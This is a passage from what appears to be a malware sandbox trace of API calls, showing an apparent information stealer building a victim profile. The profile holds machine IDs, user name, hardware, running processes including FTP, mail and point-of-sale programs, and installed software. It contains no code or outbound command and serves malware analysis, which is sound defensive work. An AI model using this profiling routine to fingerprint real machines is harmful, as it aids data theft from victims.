[1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161"
[0054.976] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="9.0.30729.6161", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.976] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: 